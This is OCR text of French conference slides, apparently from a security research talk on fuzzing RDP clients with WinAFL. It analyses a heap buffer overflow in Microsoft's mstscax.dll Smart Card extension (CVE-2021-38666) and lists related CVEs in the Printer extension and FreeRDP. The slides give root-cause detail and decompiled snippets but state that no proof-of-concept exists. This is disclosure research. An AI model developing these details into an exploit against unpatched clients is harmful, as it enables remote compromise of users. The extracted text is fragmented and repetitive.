*((ulong *)StubMsg->Buffer) =|RtlUlongByteSwapk*(ulong *)StubMsg->Buffer);

}
StubMsg->Buffer += 4;

mstscax.dll

ProcObj::ProcessCoreServerPacket

ProcObj::Process|ORequestPacket

W32SCard::MsglrpDeviceControl

W32SCard::LocateCardsByATRA




Remote Heap Buffer Overflow (CVE-2021-38666)

I Structure de 'appel LocateCardsByATRA

v6 = MesDecodeBufferHandleCreate(&PDU->InputBuffer, PDU->InputBufferLength, &pHandle);
NdrMesTypeDecode3(pHandle, &pPicklingInfo, &pProxyInfo, ( )&ArrTypeOffset, OxEu, &pObject);

MIDL_STUBLESS_PROXY_INFO

MIDL_STUB_DESC

RpcClientInterface TypeFormatString
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I Structure de 'appel LocateCardsByATRA

x CAlrs
e
r R
A
76 octets B unsigned long

B struct
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I Structure de 'appel LocateCardsByATRA

x CAlrs
I
r 1
-
e
76 octets B unsigned long

B struct
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| Heap Overflow

x CAtrs

« Combinaison de deux overflows

e
r R

= Controle de ’attribut cAtrs dans la structure
76 octets B unsigned long

* Byteswap dans le tas tous les 76 octets W struct
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| Heap Overflow

« Combinaison de deux overflows

= InputBufferLength trop grand

= Controle de ’attribut cAtrs dans la structure

* Byteswap dans le tas tous les 76 octets

* 62 10CTLs « Smart Card »
= Seulement 3 10CTLs vulnérables
* Corruption du tas, de pointeurs de vtables...

x CAtrs

e
r 0
@ ATRMask ATRMask I-

76 octets M unsigned long
W struct
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| Heap Overflow

x CAtrs

* Combinaison de deux overflows

e
r R

= Controle de ’attribut cAtrs dans la structure
76 octets B unsigned long

* Byteswap dans le tas tous les 76 octets W struct

* 62 10CTLs « Smart Card »
= Seulement 3 10CTLs vulnérables
* Corruption du tas, de pointeurs de vtables...

| Exploit
* Pas de PoC... mais $5000 de bounty

 Explication détaillée + analyse de risque = suffisant !

B



Conclusion




Conclusion

| Résultats

* Construction d’un fuzzer architecturé autour de WinAFL
« Développement d’un harnais qui permet de fuzzer des clients RDP

* Mise en place de différentes stratégies d’attaque

« Vulnérabilités dans le client RDP de Microsoft

= CVE-2021-38665 dans [’extension Printer
= CVE-2021-38666 dans [’extension Smart Card

Réutilisation du fuzzer pour cibler d’autres clients RDP

» Vulnérabilités dans le client FreeRDP

= CVE-2021-37594 (Remote Memory Leak dans [’extension presse-papiers)
= CVE-2021-37595 (Remote Arbitrary File Read dans [’extension presse-papiers)



Merci !
Questions ?

@THFILIUM

https://thalium.re/
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